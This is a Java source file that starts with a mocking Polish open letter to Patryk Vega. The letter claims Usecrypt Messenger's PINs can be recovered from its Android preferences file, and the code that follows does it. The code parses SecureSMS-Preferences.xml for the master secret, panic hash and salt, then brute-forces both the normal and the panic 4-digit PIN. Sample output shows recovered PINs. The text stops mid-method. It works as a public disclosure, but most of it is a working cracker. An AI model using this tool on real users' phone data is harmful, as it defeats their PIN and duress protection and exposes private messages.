/* List otwarty do Patryka Vegi Drogi Patryku. Ustalmy na wstepie - jestes rezyserem i znasz sie na branzy filmowej. Nie znasz sie na komputerach, sieciach ani tym bardziej kryptografii. Reklamujesz Usecrypt Messengera i niestety twoi nowi koledzy robia z Ciebie debila. Mowisz, ze fachowcy z Mossadu zabrali telefon z Usecryptem i nie odzywali sie przez dwa miesiace. Wiesz czemu? Bo przez bite dwa miesiace nie mogli przestac sie smiac. Zlamanie zabezpieczen Usecrypt Messengera to nie zadanie dla Mossadu tylko dla mnie, studenta drugiego roku informatyki. Patryku, nie mam dla ciebie dobrych wiadomosci. Jesli zlosliwe oprogramowanie odczyta plik /data/data/uc.messenger/shared_prefs/SecureSMS-Preferences.xml z twojego telefonu z Androidem, a to naprawde latwe gdy jest sie zlosliwym oprogramowaniem, to oba PIN-y (ten zwykly i ten paniczny) stoja otworem. Wiem, ze ciezko bedzie Ci w to uwierzyc, wiec zalaczam program za pomoca ktorego mozna zlamac zabezpieczenia Usecrypt Messengera. Potrzebuje on do dzialania pliku SecureSMS-Preferences.xml z prywatnego katalogu Usecrypt Messengera. Uruchamiasz program z nazwa tego pliku jako parametrem, czekasz krotka chwile i dostajesz na ekranie najpierw Panic PIN a potem PIN. Serdecznie Cie pozdrawiam Student II roku (nie napisze, ktorej uczelni) PS: nie reklamuj wiecej komunikatorow, OK? ---- Do uruchomienia niniejszego programu potrzebujesz bibliotek Google_Protocol_Buffers_support_0.5.9 axolotl-java-1.4.2 protobuf-java-2.5.0 curve25519-java-0.2.4 org.bouncycastle:bcprov-ext-jdk14:1.51 ---- Przykladowe uruchomienie: Usecrypt Messenger mega h@x0r double PIN cracker Looking for PANIC PIN, max: 9999 checking 3333 PANIC PIN found: 3333 Looking for PIN, max: 9999 checking 1111 PIN found: 1111 */ import org.bouncycastle.jce.provider.BouncyCastleProvider; import org.bouncycastle.util.encoders.Base64; import org.w3c.dom.Document; import org.w3c.dom.Element; import org.w3c.dom.Node; import org.whispersystems.libaxolotl.IdentityKey; import org.whispersystems.libaxolotl.InvalidKeyException; import javax.crypto.Mac; import javax.crypto.SecretKeyFactory; import javax.crypto.spec.PBEKeySpec; import javax.crypto.spec.SecretKeySpec; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; import java.io.File; import java.security.MessageDigest; import java.security.NoSuchAlgorithmException; import java.security.Security; import java.util.Arrays; public class UsecryptMessengerCracker { final int max_pin = 9999; int xml_passphrase_iterations= 20000; String xml_master_secret=null; String xml_pref_identity_public_v3=null; String xml_panic_hash=null; String xml_mac_salt=null; public static void main(String[] args) { UsecryptMessengerCracker d = new UsecryptMessengerCracker(); d.crackUsecryptMessenger(args); } public void crackUsecryptMessenger(String[] args) { Security.addProvider(new BouncyCastleProvider()); System.out.println("Usecrypt Messenger mega h@x0r double PIN cracker"); if (args.length != 1){ System.out.println("You need to provide a Usecrypt Messenger XML file from Android phone as a parameter"); System.out.println("This is the one you need: /data/data/uc.messenger/shared_prefs/SecureSMS-Preferences.xml"); System.exit(-1); } if (!new File(args[0]).exists()){ System.out.println("File does not exist: "+args[0]); System.exit(-2); } DocumentBuilderFactory dbFactory = DocumentBuilderFactory.newInstance(); try { DocumentBuilder dBuilder = dbFactory.newDocumentBuilder(); Document doc = dBuilder.parse(new File(args[0])); Element map = doc.getDocumentElement(); for (int i = 0; i < map.getChildNodes().getLength(); i++){ Node n = map.getChildNodes().item(i); String name = n.getNodeName(); if (name.equals("string") && n.hasAttributes() ){ Node attrib = n.getAttributes().item(0); if (attrib.getNodeValue().equals("master_secret")){ xml_master_secret = n.getTextContent(); } if (attrib.getNodeValue().equals("pref_identity_public_v3")){ xml_pref_identity_public_v3 = n.getTextContent(); } if (attrib.getNodeValue().equals("panic_hash")){ xml_panic_hash = n.getTextContent(); } if (attrib.getNodeValue().equals("mac_salt")){ xml_mac_salt = n.getTextContent(); } } if (name.equals("int") && n.hasAttributes() ){ Node attrib = n.getAttributes().item(0); if (attrib.getNodeValue().equals("passphrase_iterations")){ String v = n.getAttributes().item(1).getTextContent(); xml_passphrase_iterations = Integer.parseInt(v); } } } } catch (Exception e) { System.out.println("Error parsing XML: "+e.toString()); System.exit(-3); } if (xml_master_secret==null || xml_pref_identity_public_v3==null || xml_panic_hash==null || xml_mac_salt==null){ System.out.println("XML does not contain all required fields: "); System.exit(-4); } byte[] panic_hash_decoded = Base64.decode(xml_panic_hash); String ret = findPanicPIN(max_pin, panic_hash_decoded, xml_pref_identity_public_v3); if (ret != null){ System.out.println("PANIC PIN found: "+ret); }else{ System.out.println("PANIC PIN not found"); } ret = findMasterSecret(max_pin, xml_master_secret, xml_mac_salt); if (ret != null){ System.out.println("PIN found: "+ret); }else{ System.out.println("PIN not found"); } } public String findPanicPIN(int max, byte[] panic_hash_decoded, String pref_identity_public_v3) { System.out.println("Looking for PANIC PIN, max: "+max); for (int i=0; i